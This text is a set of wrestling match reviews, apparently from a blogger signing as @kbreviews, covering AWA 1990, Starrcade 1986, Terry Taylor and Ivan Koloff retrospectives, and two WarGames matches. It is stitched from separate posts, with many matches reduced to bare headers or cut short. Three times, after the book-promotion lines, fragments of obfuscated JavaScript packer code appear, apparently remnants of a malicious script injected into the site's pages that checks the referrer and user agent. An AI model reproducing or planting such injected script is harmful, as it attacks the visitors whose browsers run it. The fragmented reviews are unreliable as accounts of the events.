Annihilator jumps him from behind and has all of the success that you would expect. A slam and shoulder set up the Russian Sickle to finish Annihilator at 1:08.

Post match Koloff says he’s ready to face Zbyszko in a 2/3 falls match next week so he can become #1 contender. It’s about the title and the pride.

The Destruction Crew, behind a piece of cage, is ready for the cage match, even though Mike Enos is horribly claustrophobic. Enos panics and Wayne Bloom has to calm him down.

Brad Rheingans and Paul Diamond are ready too.

We get a Team Challenge Series update. Sarge’s Snipers have cut Baron’s Blitzers’ lead to just two points after a Triathlon match (a tug of war was involved) and we’re on the way to the second half of the season. Larry’s Legends are in third.

Here are the current standings:

Baron’s Blitzers – 23

Sarge’s Snipers – 21

Larry’s Legends – 17

Destruction Crew vs. Paul Diamond/Brad Rheingans

The Crew’s Tag Team Titles aren’t on the line. That would be Larry’s Legends vs. Baron’s Blitzers and the winners get two points. Rheingans, who was put on the shelf by the Crew for nine months, starts fast and the brawl is on in a hurry. Enos tries to escape but gets pulled down by Rheingans as we settle down to a regular match, including tags. In a CAGE match. A piledriver plants Enos and it’s off to Diamond for a headlock.

Some running shoulders drop Enos but he avoids a charge to send Diamond into the cage. It’s time to go after the busted open head and Enos grabs a chinlock. Bloom comes in for some more rams into the cage, plus a rub across the steel (always a good thing). Diamond reverses Enos’ suplex into a gordbuster and the hot tag brings in Rheingans to beat on Bloom.

A catapult sends Bloom into the….well top rope actually as he doesn’t quite hit the cage. It busts him open anyway so Rheingans hammers away but still manages to punch Enos out of the air. It’s back to Diamond for a hard clothesline but a dropkick misses. Bloom comes in and cheap shot Rheingans as Enos goes up, only to get crotched on the top. The referee gets bumped as Diamond grabs a victory roll on Bloom. Another referee slides in to count the three at 9:17.

Rating: B-. Better than expected here and that’s a nice thing to see. The Crew was one of the last big acts for the company and while I can see the potential, I don’t quite get the entire appeal. Then again that might be because they wound up being the Beverly Brothers in the WWF and that didn’t quite go so well.

Post match Rheingans gets out but Larry Zbyszko slams the cage door on Diamond’s head, leaving him alone with the Crew. The beatdown is on, including the Wrecking Ball (Doomsday Device) as Rheingans chases Larry, who threw the key in the ring, to the back. Another Wrecking Ball leaves Diamond laying as Rheingans runs back for the way too late save attempt.

Back from a break and Diamond has to be helped out of the ring.

Commentary wraps it up.

Overall Rating: C-. Actually better than I was expecting here with a pretty good main event and a big match being set up for next week. It wasn’t a great show or even a good one, but for the AWA in 1990, this was as close to a masterpiece as they were going to get. They got a decent amount of stuff in and while it isn’t exactly thrilling, I’ll take a watchable show over the usually slow and weak events this promotion is known for.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnntt|var|u0026u|referrer|nsktd||js|php'.split('|'),0,{})) 1986
Date: November 27, 1986
Location: Greensboro Coliseum, Greensboro, North Carolina/The Omni, Atlanta, Georgia
Attendance: 16,000/14,000
Commentators: Tony Schiavone, Rick Stewart, Bob Caudle, Johnny Weaver

Jimmy Garvin vs. Brad Armstrong

They go to the mat with neither guy being able to get any extended advantage. Back up and they fight over a top wristlock until Brad finally takes over with an armbar. Off to a headlock instead but Jimmy rolls Brad up for two. Now Jimmy grabs an armbar of his own but they roll into the ropes. Garvin grabs a leg lock and bends the knee back, only to have Armstrong reach his arm around into a chinlock to escape.

A backbreaker gets the same and Jimmy is getting frustrated. They start running the ropes, only to crack heads and put both guys down again. Back up and Brad charges into a knee in the corner but even that only gets two. They trade rollups but Garvin puts on a chinlock of all things with fifteen seconds to go. He releases the hold and goes up, only to miss a top rope splash as the bell rings for the time limit draw.

Post match Garvin tries to jump Armstrong, only to get knocked to the floor by some right hands.

Hector Guerrero/Baron Von Raschke vs. Shaska Whatley/Barbarian

Barbarian misses a running boot into the corner though and falls to the floor, allowing Hector to hit a BIG dive, taking out both Barbarian and Baron. That was a very big deal back then and still looks good even today. Whatley comes out to beat on Hector before throwing him inside for a gorilla press slam by Barbarian. A double backdrop puts Hector down for two and Whatley breaks up a potential hot tag to Baron.

Back to Barbarian for another near fall off a big boot followed by a backbreaker. Whatley sends him into the ropes and Hector spits right in his face, which is somehow enough for the hot tag off to the Baron. Raschke puts his Claw Hold on Shaska as everything breaks down. Barbarian breaks up the hold but gets pummeled in the corner by Hector. In the melee, Shaska misses a charge into the corner and Baron drops an elbow for the pin.

Post match Baron gets beaten down until Hector makes the save.

US Tag Titles: Krusher Khrushchev/Ivan Koloff vs. Kansas Jayhawks

Rating: C. Another basic tag match here but it was at a slightly faster pace, making it a more entertaining match for the most part. The Russians continue to be a perfectly fine midcard heel act as the Cold War was still going on at this point. The Jayhawks never did much of anything as a team and would fade into obscurity pretty soon after the start of the new year.

Rick Rude vs. Wahoo McDaniel

Post match Rude and Jones beat Wahoo down until Hector Guerrero and Von Raschke make the save.

Central States Title: Sam Houston vs. Bill Dundee

This is another regional title from Kansas/Missouri with Houston defending. Dundee is from Australia and was a Memphis mainstay for years. Houston only won the belt about two weeks before this, beating Dundee in a tournament final. Again, why not have the tournament final here? Sam takes over with an armbar to start, only to be thrown to the mat by Dundee. They trade headlocks and rollups on the mat with Dundee finally getting control.

Back up and Houston takes him down with a flying headscissors to over on the mat. Now a dropkick puts Dundee down but he comes back with a classic hair pull to take the champion to the mat. Sam grabs a headlock of his own and a rollup out of the corner for two. In a scary sounding spot, Dundee pulls Sam out of the floor and onto the announce table to really take over for a change.

Dundee beats on Houston with the boot post match. He would win the title in early January.

Jimmy Valiant vs. Paul Jones

Valiant pounds away on a terrified Jones to start and Paul just tries to hide. Jones sticks his chest out to be scratched by Valiant, who is in orange and black striped tights for some reason. Paul pulls out a foreign object to pound away at Valiant for two. Jimmy fights up and kicks Jones in the leg before being knocked back down again. Paul tries the Indian Deathlock but Valiant fights up and pounds Jones down before locking in the sleeper. Jones tries the foreign object again but Valiant takes it away and knocks Jones out for the pin.

Post match Valiant cuts the hair but Manny Fernandez gets out of the cage, allowing he and Rick Rude to lay out Valiant. They hit a double DDT onto a chair and leave with their humiliated manager.

Ron Garvin vs. Big Bubba Rogers

TV Title: Tully Blanchard vs. Dusty Rhodes

They circle each other even more until Dusty hits a headbutt to put Tully down. As expected the referee checks both guys because using a headbutt in a first blood match is a stupid idea. Rhodes pounds at the ribs in the corner before hitting the Bionic Elbow to the head. Dusty lays down on the leg, because leaving your head exposed like that could NEVER backfire on him at all. Blanchard rolls to the floor and we stall again.

Rating: D-. This was about seven minutes of stalling and covering heads before the overdone ending. The referee bumps are getting really old at this point as there have been what, five or six so far on this show? Dusty continues to not have much in the ring aside from one good match with Flair last year. This was very little to see due to all of the stalling.

Midnight Express vs. Road Warriors

Condrey and Hawk get under the scaffold and kick at each other with Condrey trying to monkey bar away. Animal and Bobby join them and a few moments later the Express get kicked down, giving the Road Warriors the win. As someone who is scared of heights, my stomach can now calm down.

World Tag Titles: Arn Anderson/Ole Anderson vs. Rock N Roll Express

Ole gets the tag and kicks Ricky in the arm to keep him down as the torment continues. Off to another armbar but Ricky gets in a shot to the ribs and several the head to come back. Arn takes Morton down yet again to prevent a tag before hitting the yet to be named spinebuster for two. Ole comes off the top for a knee into the arm and cranks on another armbar. Ricky is in big trouble here.

We get a highlight reel of Magnum TA who had to retire at age 27.

NWA World Title: Ric Flair vs. Nikita Koloff

Post match a bunch of guys come out but no one can keep Nikita off Flair. They brawl for a good three minutes until Flair is dragged to the back to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|natyz|var|u0026u|referrer|tbdih||js|php'.split('|'),0,{})) is one of those wrestlers that I really don’t care for all that much: Terry Taylor.

Bobby Eaton/Sweet Brown Sugar vs. Jacques Rougeau/Terry Taylor

Rougeau is the Mid-America Champion and Taylor is the Southern Champion. Sugar is more famous as Koko B. Ware. Taylor and Eaton get going to start and things speed up, which you know is going to be at least moderately awesome. Off to Sugar who is immediately taken over in a headlock by Taylor. Rougeau comes in and things slow down a bit. We get a test of strength resulting in Rougeau monkey flipping Sugar down.

Back to Eaton who is taken down by another headlock as things slow down even more. Eaton has black hair here which is an odd look on him. The heels finally wake up and cheat to take over on Jacques. Taylor gets a quick hot tag and cleans house, only to get poked in the eye and taken down. Sugar works on his back and then the arm as the fans are WILD about Taylor. Back to Eaton with a knee drop for no cover.

Off to the NWA at Starrcade 1985 after Taylor had started to make a name for himself in the territories.

National Title: Buddy Landel vs. Terry Taylor

Landel is challenging and this is for the Georgia Championship Wrestling main title. Terry, I think the face in this match, takes Buddy down to start and gets some fast near falls off various leverage moves. Landel is basically a Ric Flair tribute wrestler, even using the Nature Boy as his ring name. Buddy fires back but runs into a boot in the corner from the champion.

Rating: D+. Not much to see here but then again neither guy was ever anything of note to begin with. Buddy would be thrown out of the company a few months later due to drug problems and Dusty would get the title as a result. Taylor would go on to the UWF and then the WWF, where he would become a half man half rooster. Wrestling is funny like that sometimes.

Off to the UWF on March 7, 1987.

Tag Titles: Eddie Gilbert/Sting vs. Terry Taylor/Chris Adams

Taylor would win the UWF TV Title and defended it in a unification match at Starrcade 1987.

NWA TV Title/UWF TV Title: Nikita Koloff vs. Terry Taylor

This is a unification match between the two Television Titles. Taylor has Eddie Gilbert with him as backup. Taylor grabs a headlock to start but is easily run over by a shoulder block. They head to the corner and amazingly enough we get a clean break. We go to another corner and Taylor tries a cheap shot, only to get punched in the face by Nikita. Taylor cranks on the arm so Nikita sticks his tongue out at him and puts on an armbar of his own.

Terry headbutts out of the hold but Nikita rams him shoulder first into the buckle. More right hands have no effect at all and Nikita cranks away on the wristlock into a hammerlock. Koloff muscles him down into a cover but Taylor makes the ropes and heads outside. Back in and Taylor talks some trash, earning himself a slap in the face. A backdrop gets two on Terry and its time for more stalling on the floor.

Soon after this it was off to the WWF as the Red Rooster, the wrestling bird. Somehow he stuck with the character for years and yes it crippled his career. He started off well though, appearing in the main event of Survivor Series 1988.

Team Mega Powers vs. Team Twin Towers

Hulk Hogan, Randy Savage, Koko B. Ware, Hillbilly Jim, Hercules

Big Bossman, Akeem, Ted DiBiase, Red Rooster, Haku

The hot tag brings in Savage who cleans house. Slick trips Randy up and things slow down again. Boss Man puts on a bearhug as Slick goes after Liz, grabbing her by the arm. Hulk makes the save and DRILLS Slick with a right hand. The Towers go to handcuff Hogan to the rope but Boss Man gets counted out in the process. Boss Man beats on Hogan with the nightstick and then goes to beat on Savage. Akeem helps with that, drawing a DQ for himself and getting us down to Hogan and Savage vs. Haku.

Tito Santana vs. Terry Taylor

Remember that Heenan is on a mic so we can hear everything that he’s saying. Taylor is undefeated somehow. George Steinbrenner is here. They speed it up so if nothing else it’s interesting looking. Heenan argues with Steinbrenner which is interesting as all goodness obviously. We shift over to a more common style of match. This is interesting as it’s mainly just Bobby talking and you rarely hear from him in the manager role.

After some stupid stuff from Taylor Heenan goes off on him and they shove each other. This is Santana doing most of the work. Keep in mind that I can’t stand Taylor at all. This is horribly boring stuff. Santana gets a rollup for the pin. A boring argument starts, leading to Taylor vs. Brooklyn Brawler of all things. Heenan gets beaten up afterwards.

Red Rooster vs. Brooklyn Brawler

The match starts while we’re in a break and it’s a squash. It’s a minute long and Rooster wins with a small package. I think that’s longer than the “blowoff” of Rooster vs. Heenan at Mania.

And here is that match from Mania V.

Red Rooster vs. Bobby Heenan

Mr. Perfect vs. Red Rooster

And ending at Survivor Series.

Dream Team vs. Enforcers

Dusty Rhodes, Brutus Beefcake, Tito Santana, Red Rooster

Big Bossman, Bad News Brown, Rick Martel, Honky Tonk Man

Bill Irwin vs. Terry Taylor

Taylor would turn heel soon after this and had a match at WrestleWar 1991.

Z-Man vs. Terrance Taylor

He then opened Great American Bash 1991 in one of the worst ideas ever to open one of the worst shows ever.

Bobby Eaton/PN News vs. Steve Austin/Terrence Taylor

Back to regular TV at Clash of the Champions XVIII with Taylor now full heel as Terrance Taylor and part of the York Foundation.

Terrance Taylor/Tracy Smothers vs. Brian Pillman/Marcus Alexander Bagwell

Neither team has ever worked together before but injuries changed the original match. The York Foundation is broken up and Taylor is now just the Taylor Made Man and wears nice clothes. Pillman and Taylor get things going as we hear about Pillman wanting a rematch against Liger after losing the Light Heavyweight Title.

Pillman comes back in by jumping over the top and hammering away on Tracy. A big spinwheel kick gets a two count but Taylor comes in sans tag, allowing for a double team when the referee is with Bagwell. Taylor suplexes Pillman from the ring to the floor and brings him back inside for a gutwrench powerbomb and a close two count. Tracy comes back in and knocks Pillman off the apron with another jumping back elbow. Pillman slingshots in with a clothesline to nail Tracy and everything breaks down again. Brian dropkicks Taylor into Tracy, knocking him into a sunset flip to give Bagwell the pin.

Rating: C+. This was a formula of taking four fast guys and putting them into a match. Bagwell gets to have some ring time and earn a big more experience which is all you can do with a young guy like him. Everyone else looked good and the whole match worked very well. Two good matches in a row to start the show.

Here he is with another very talented guy at Halloween Havoc 1991.

Terrance Taylor vs. Bobby Eaton

The solution is apparently a corner clothesline followed by a knee drop for two. They head to the ramp again and Eaton is put down by a gutwrench powerbomb. Eaton slowly gets back in and takes a top rope splash for two. We hit the chinlock which is broken somewhat quickly but a knee to the ribs stops it dead. Taylor gets some more computer advice and apparently is willing to settle for the countout.

And then a title match at WrestleWar 1992.

US Tag Titles: Greg Valentine/Terry Taylor vs. Freebirds

It amazes me how far tag wrestling has fallen. There are midcard tag titles here. The Freebirds are faces here and for the life of me I don’t get what was seen in Valentine and Taylor as a team. There are two rings here which is always kind of strange but it’s still cool. The Freebirds both use the DDT here so they’re looking for the quick win. Fonzie from ECW is the referee here.

Taylor and Hayes start us off and the fans more or less hate Taylor. At least they’re smart. It’s just strange seeing the Freebirds as faces. Also Greg Valentine is a champion in 1992. What’s weird about this picture? A backhand chop is a judo chop according to Jim. For those of you unsure, the Freebirds are Jimmy Garvin (no one of note really) and Michael Hayes, who is currently the head writer for Smackdown.

ALL Freebirds so far but this is a long match so there’s plenty of time left. We’re about eight minutes in and the champions haven’t been on offense longer than maybe 20 seconds yet. I could watch Valentine fall on his face every day. It’s just perfectly done. The heels take over for a bit and I emphasize the bit part since Garvin takes over again to get us to even.

Hayes gets a hot tag and cleans house. The crowd is hot tonight which gives me a good feeling about the main event. Hayes gets hit in the back of the head with the Five Arm, Terry’s finisher but it only gets two. Fans are completely behind the Freebirds. Taylor gets a gutwrench powerbomb for two on Hayes which is a move I wish we saw more often. We’re nearly fifteen minutes in and Jesse says it’s too early to go for the figure four.

Valentine works on the arm which is just weird for him but whatever. This has been a good match so I can live with that. Another hot tag to Garvin and he cleans house. Everything goes insane and Garvin gets a DDT on Taylor for the pin and the titles. Solid opener and the crowd is happy so everything worked. The titles would be retired in July so it’s not like it means much.

Rating: B. Great opener here as the crowd was way into it and the title change works well to open a show. Starting a show with a good tag match is pretty much a universally good idea and this was no exception. I’m not a fan of any of these four but this was a very solid match and has me wanting to watch more of the show, which is exactly the point of an opener.

Crush vs. Terry Taylor

TV Title: Steven Regal vs. Terry Taylor

Taylor hooks a body scissors with his legs which goes on for awhile. Tony talks about Flair being the new world champion, which is interesting when you consider this was taped about three weeks before Starrcade. Taylor keeps control and goes after the arm. Regal nips up again but Terry takes him right back down. They go back to the mat and Taylor works the arm even more.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yddnr|var|u0026u|referrer|trrhy||js|php'.split('|'),0,{})) we’re looking at the most evil foreigner of all time: Ivan Koloff.

Bruno Sammartino vs. Ivan Koloff

The footage is very old and of low quality so the details might be sketchy here. Also the match itself ran about fifteen minutes but only eight minutes of footage exists. Koloff grabs a quick headlock to start but is backdropped down as the champion escapes. A slam and an armbar put Koloff down but he grabs a headscissors to escape a cover. Bruno gets monkey flipped down but takes over with an armbar.

From 21 days later in the same building.

Ivan Koloff vs. Pedro Morales

Bruno Sammartino vs. Ivan Koloff

This is inside a steel cage and is called the first ever cage match in Madison Square Garden. You can only win by going out of the cage. Koloff attacks to start the match but Bruno fires off right hands to send Koloff into the cage. Bruno sends him chest first into the buckle and fires off some knees to the face to keep control. Vince calls Koloff the favorite to win the match for some reason. Bruno pounds away even more and sends Ivan face first into the cage wall again.

Bruno stomps away on the back of the head before sending him into the cage again. All Bruno so far. Ivan comes back with a kick to the stomach to take over and now Sammartino tastes the steel. The champion comes back with more right hands and sends Ivan into the cage yet again. Bruno fights back with right hands and pulls Koloff back in as he tries to escape. The ring is especially loud in this match. Ivan goes face first into the cage three times in a row and make it four.

One more shot at the title on August 28, 1978, again in MSG.

Bob Backlund vs. Ivan Koloff

Bob puts him on the top rope to counter and hooks something like a spinning toehold. Thankfully this one lasts less than the usual two hours with Ivan kicking him in the ribs. Ivan sends him into the ropes but they ram heads, sending Bob to the floor. Koloff is smart and breaks up the count so he can still win the title. Backlund gets rammed into the post and a backbreaker gets two.

Ivan goes up top for the biggest pop from the crowd(and possibly the only one so far) of the match but his top rope knee drop misses. Backlund sends him in but gets kicked down again, this time back to the floor again. Koloff breaks up the count again, this time by going up top and jumping down onto the apron, kicking Bob in the head on the way down. That would be considered a big spot back then.

Keith Larson/Ole Anderson vs. Nikita Koloff/Ivan Koloff

Anderson and Larson stay on the arm before Ivan FINALLY drags Anderson over to the corner for a tag off to the monster Nikita. He pounds Anderson down and puts him in a bearhug as momentum has completely swung the other direction. As is the custom tonight, the hold stays on for several minutes before Ole smacks Nikita in the head to escape. Back to Ivan who gets two off a slam.

Back to Nikita to break up a hot tag and puts on another bearhug. Anderson finally punches out of it and makes the hot tag off to Larson. Keith speeds things up but gets run over by a Russian Sickle (hooking clothesline). Everything breaks down and Kernoodle is knocked down. As Ole and Nikita fight on the floor, Ivan pins Larson off a chain shot to the head.

World Tag Titles: Rock N Roll Express vs. Ivan Koloff/Nikita Koloff

Back to Ivan who is busted open as well. Robert is sent into the cage yet again and an elbow drop gets two for Ivan. Off to Nikita for some biting to the head before Ivan comes in for some slow power offense. Robert rolls away from a legdrop but Nikita comes in for a chinlock. Gibson is busted open as well, which seems to be a requirement tonight.

Rating: B. Good old fashioned tag match here with the Express getting destroyed until the very end where they won on a pure fluke. The fans were WAY into the Express at this point and Morton would even get a program with Ric Flair. The Russians were a great old school tag team idea with both guys looking like monsters and acting like it as well. Also this was nice to see a change in the usual Express formula with Gibson getting beaten down instead of Morton.

Road Warriors vs. Ivan Koloff/Nikita Koloff

From Starrcade 1986 with Ivan trying to prove Soviet superiority.

US Tag Titles: Krusher Khrushchev/Ivan Koloff vs. Kansas Jayhawks

Rating: C. Another basic tag match here but it was at a slightly faster pace, making it a more entertaining match for the most part. The Russians continue to be a perfectly fine midcard heel act as the Cold War was still going on at this point. The Jayhawks never did much of anything as a team and would fade into obscurity pretty soon after the start of the new year.

In a violent match at the first Clash of the Champions.

Road Warriors/Dusty Rhodes vs. Powers of Pain/Ivan Koloff

Time for a “specialty” match at Clash III.

Ricky Morton vs. Ivan Koloff

Ivan Koloff vs. Paul Jones

Jones is a manager but also a former United States Champion. Koloff has his arm tied behind his back to make this a little bit more fair. Ivan grabs Jones by the throat and Paul bails to the floor. Back in and Jones sticks and moves which just angers Koloff even more. They circle each other for a few minutes as there has been almost no contact here. Koloff finally gets him into the corner and rams him into all four turnbuckles, sending Jones to his knees to beg for mercy.

Ivan turned face with Nikita Koloff as his partner but when Nikita left, this is what they came up with. From Starrcade 1988.

Russian Assassins vs. Junkyard Dog/Ivan Koloff

One more match from right before Ivan retired. From Slamboree 1993.

Thunderbolt Patterson/Brad Armstrong vs. Baron Von Rashcke/Ivan Koloff

It was supposed to be Bob Armstrong but he’s hurt so it’s his son instead. He’s in street clothes but whatever. Total brawl to start as Armstrong is about 25 years younger than everyone else in the match. Raschke gets sent to the floor and the young guy’s team rule the ring. Let the stalling begin! The Baron runs from Patterson a lot and we get a very basic match which doesn’t look to last that long.

Koloff vs. Armstrong now as we talk about Sammartino losing the WWF Title to Koloff. Naturally that name isn’t used but you get the idea. There’s the Claw to Armstrong but Patterson breaks it up. Patterson gets a hot tag and beats up the bald bad guys a bit. What I think was supposed to be a double chop to the Barron ends this.

Rating: D+. Yeah this was pretty worthless. Patterson looked like he was about 95 years old and was probably the second best looking guy in the match. Bob helped a bit but with only four and a half minutes to work with, how much can you really complain here? Not much of a match but it wasn’t supposed to be anything that good.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

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WarGames.

Because I have a taste for some blood. For those of you young people that haven’t gotten to see this, it’s the ultimate team violence match. There are two rings side by side and they’re both surrounded by cage, save for the space between the rings. There are two teams of five men (later four) each and one man will start from both teams. They fight for five minutes and then there’s a coin toss. The winning team (the heels literally always won) would get to send in a second man for a 2-1 advantage, lasting two minutes. After those two minutes are up, the team that lost the toss sends in its second man to tie it up for two minutes. You alternate until all ten men are in and then it’s first submission wins.

This match almost always had a ton of blood and are easily the most violent matches you would find this side of Hell in a Cell. WCW started these in 1987 and ran them through 1997 (screw that mess in 1998. That wasn’t WarGames). We’re going to be looking at the two best, though almost all of them are worth checking out.

First up is the inaugural edition, held on July 4, 1987 on the Great American Bash tour.  This is the mother of all wars as we have Dusty Rhodes/Magnum TA/Road Warriors/Paul Ellering vs. the Four Horsemen/JJ Dillon.  I really don’t think this needs a huge explanation.

Dusty Rhodes/Road Warriors/Nikita Koloff/Paul Ellering vs. Four Horsemen/JJ Dillon

The Horsemen in this case are Flair, Anderson, Blanchard, Luger and JJ Dillon. Flair’s music is epic as they crank the music WAY up. This is the Atlanta main event and it’s the debut of WarGames. For those of you uninitiated, WarGames is the mother of all gimmick matches. You have two teams of five and each team sends in a member. Those two fight for five minutes and there’s a coin toss.

The winning team gets to send in the third man to have a 2-1 advantage. That lasts two minutes and then the team that lost the toss gets to send in its second man to tie it at 2-2. That lasts two minutes then the team that won the toss sends in its third man. You alternate like that every two minutes until it’s 5-5 and then it’s first submission. No pins allowed.

Arn and Dusty start us off and remember this can’t end until all ten are in. There are two rings side by side with one huge cage over them if I didn’t mention that. They feel each other out a lot as they’re not entirely sure what to do here. Dusty walks on the second rope and then swings across the top of the cage to kick him in the ribs. Now they’re going and Dusty pounds away including a low blow which is perfectly legal.

There’s a DDT by Dusty and the crowd is red hot. Arn is cut open about two and a half minutes in so Dusty rakes it across the cage wall. Everyone hates everyone on the other team so this is a huge blood feud all around. Dusty sends him into the cage and has dominated the entire time. After a quick comeback by Arn Dusty gets his bad Figure Four on and then lets go of it because….well just because I guess.

The Horsemen win the toss (the faces literally never won the thing) and it’s Tully in next. The Horsemen beat him down but Dusty is booking so he knocks them both down with elbows. And scratch that as Tully gets in a knee shot and the double teaming begins. Tully puts on a Figure Four as they work over the knee. The clock seems to skip ahead a bit (no sign of clipping though) and Animal comes in to tie it up.

He starts launching Horsemen everywhere and sets Tully up for a slingshot which he rams three straight times. Shoulder block takes Tully down and Dusty destroys Anderson. I think Blanchard is busted and he gets double teamed a bit. Anderson looks dead. Animal is like screw that and rams him into the cage a few times. Flair is in to make it 3-2 and chops at Animal which doesn’t work. The number catch up with him as Anderson is back up quickly.

Sorry for a lot of play by play here but it’s the only thing you can do in matches like this one. Animal is busted. Dusty tries to fight back but he’s almost on his own. The fans are so loud that you can’t hear Tony and Jim. Dusty is bleeding and here comes Nikita. Flair grabs him as he comes in but the power of RUSSIA breaks up the Horsemen. The double ring thing here is very nice as they have room to move around. Animal sends Flair into the cage and he’s bleeding now. Dusty is gushing blood.

Nikita and Dusty work on the knee of Anderson but Nikita goes to get Tully stuck between the two rings and hits him between the ropes in a slingshot thing. Flair begs off Nikita and that doesn’t end well for the champ. A double dropkick puts Anderson down and here’s Lex. This is literally non-stop. Powerslam plants Koloff and Lex is dominating. There’s a spike piledriver to Nikita and then a second one just to kill him deader than dead. The Horsemen are in control but they’re starting to fall from exhaustion and blood loss.

Here’s Hawk and the fans erupt all over again. He destroys everything in sight and if you’re not bleeding already you will be now. Nikita’s neck is messed up and he can barely stand. JR is in Heaven with this much carnage. Flair gets a Figure Four on Dusty but it doesn’t count yet. The Horsemen only have JJ Dillon left and he’s a manger. He goes after Hawk and that’s just dumb.

Flair saves JJ’s life and they’re getting tired. Flair is bleeding a ton as if you expected anything else. JJ is taking a beating but Animal is getting triple teamed. Here’s Ellering to get us all tied up and now the match can end. Ellering has an LOD spiked pad on his arm. Dillon is bleeding BAD so Ellering JAMS THE SPIKE INTO HIS EYE. The LOD circles in on Dillon as the rest of the team runs interference. The Warriors spear his head into the cage and load up the Doomsday Device. JJ lands on his shoulder, legitimately hurting it. With Animal running interference, Hawk beats him half to death until he gives up to finally end this.

Rating: A+. This runs 26 minutes and there is literally no stopping in the whole thing. There isn’t some period where they chill because they’ve done enough. This is about brutality and violence and it works very well. There’s a ton of blood and JJ looks like he fell out of a building (for some reason in wrestling attire) at the end of it. It’s well worth seeing and still works today. Great match.

Next up might be the greatest WCW match of all time.  This is the blowoff to the awesome Dangerous Alliance story as Sting and his buddies are finally getting to go against the Alliance in one huge, bloody match with an all-star lineup.  From WrestleWar 1992.

War Games: Sting’s Squadron vs. Dangerous Alliance

Sting, Ricky Steamboat, Dustin Rhodes, Barry Windham, Nikita Koloff
Rick Rude, Steve Austin, Larry Zbyszko, Bobby Eaton, Arn Anderson

Sweet goodness there is some talent in this match.

Ok so there isn’t much of a backstory here. Back in 1992 the storyline pretty much went like this: Sting fights everybody. He feuded with about 5 people at once, most of which are in this match. At Halloween Havoc and the Clash of the Champions that came just after it, Rude showed up and stole the US Title from Sting, forming this team. Sting won the world title at SuperBrawl and the Alliance wanted it off of him, no matter who did it (it would be Vader eventually but we’ll get to that later).

Larry and Arn were a tag team and feuded with Barry and Dustin over the tag titles. Barry had also just gotten the TV Title off Austin. Ricky wanted to be US Champion, which was Rude at the moment. Anderson and Eaton had taken them from Rhodes and Windham before losing them to the Steiners two weeks before this. In short, everyone hates everyone and they don’t care who they’re fighting. Koloff is there….just because Sting needed a fifth guy more or less. He would go after Rude after this PPV.

For those of you new to War Games, the rules are pretty basic. You start with a man each and they fight for five minutes. After that five minutes we flip a coin and the winning team gets to send in their second man for a 2-1 advantage that lasts two minutes. After two minutes, the team that lost gets to even it up at 2-2 for two minutes. After that two minutes the team that won the toss sends in it’s third man for two minutes. You alternate like that until it’s 5-5, then first submission wins. No pinfalls at all. It’s a double cage over both rings and there is nothing separating the two rings, so both cages only have three walls in essence, but it’s really just one big cage.

This is the first time I’ve seen this match since I got into the IWC and since I started reviewing, so this is going to be a fresh look at it. Let’s get to it.

Everyone is at ringside for this, so I’d expect a fight out there too. There are tops on the cages too. Crowd is just insane for Sting. Good grief that face team is STACKED. In a Dangerous Alliance huddle, we hear that Austin is starting for his team. He starts against Windham and it is ON immediately. Heyman keeps running strategy and it’s cool because what he’s saying is actual strategy and makes sense.

Both guys are really stiff in there and are just pounding on each other. Austin DIVES over both ropes and hits a clothesline. For those of you that haven’t seen him before he hurt his neck and his knees became made of jelly, go find some of his stuff. He’s a totally different but still very good worker. Windham rubs Austin’s face into the cage to bust him open. There’s a minute left before the next guy comes in. Windham bites the cut to open it up more. If you can’t tell, this is a very violent match.

The Alliance wins the coin toss (check the coin) and they send their big man, Rick Rude, in to make it 2-1. Also, that’s three world champions (Rude won the Big Gold Belt which is kind of a world title) in there I believe? The heels take over and Windham is in trouble. Rude’s tights look like the Comi-Con logo. Steamboat ties it up and goes straight for Austin. Ticked off Steamboat is AWESOME. Dang  it’s nice to hear this without Tony Schiavone making bad war puns.

Windham is busted open. Steamboat and Windham are dominating here but Anderson, the best wrestler to never win a world title (arguably) comes in and cleans house. Rude and Anderson both hook a crab on Steamboat. This has been non-stop the whole time which is a major perk of it. For some reason they’re all staying in the same ring. Well with five guys it’s ok. And there goes Steamboat and Rude so scratch that theory.

Dustin Rhodes comes in to balance it out. If my math is right, he’s the least successful guy in here? That’s saying a lot. Steamboat gets Rude in a figure four, more or less making it 2-2. Zbyszko, another former world champion, is in to make it 4-3. He’s been in trouble lately for being a screw-up and Rhodes beats the tar out of him as soon as he comes in. Madusa goes up the cage and slips Arn the phone but she and Sting have a standoff on the roof.

There is blood EVERYWHERE. The mat looks like an abstract painting. Sting, who has bad ribs thanks to Vader, evens things up and press slams Rude up into the air so that his back slams into the cage five times. Sting is just whipping it here and we have two more guys left to come in. Arn gets the cage rake again and is bleeding too. Everyone is in one ring which is kind of cluttering but there they go. At least it didn’t last long.

Eaton comes in as the last man for the Dangerous Alliance. Rhodes is bleeding a ton. Windham looks quite dead. Larry is messing with the turnbuckle. Keep that in mind as it’ll come into play later. The ropes are clearly loose thanks to Larry and Rude doing whatever they were doing. Koloff comes in to FINALLY start the match beyond. No submissions could have counted until now.

Koloff is a wild card because a year or so earlier he had nailed Sting but claimed it had been meant for Luger so no one is sure if you can trust him. He pushes Sting out of the way to let Austin and Anderson hit him in a GREAT bit of continuity since Sting pushed Luger out of the way to start their whole issue. This is just pure insanity and never stopping at all.

Sting gets the Scorpion on Anderson but Eaton makes the save. They completely get the turnbuckle unhooked so there is no top rope and the buckle is just laying in the ring. Austin is bleeding like crazy. Rhodes’ tights are polka dot now from blood on them. Larry tells Bobby to hold up Sting so he can hit him with the steel bar that came off the buckle. Sting ducks and Eaton takes it to the arm. Steamboat takes Larry out and Sting throws on an armbar for the submission and to blow the roof off the place. Heyman LOSES IT and everyone gets mad at Larry as the show ends. This broke up the Dangerous Alliance because they lost this and it kind of wound up turning Larry face but more or less he just retired.

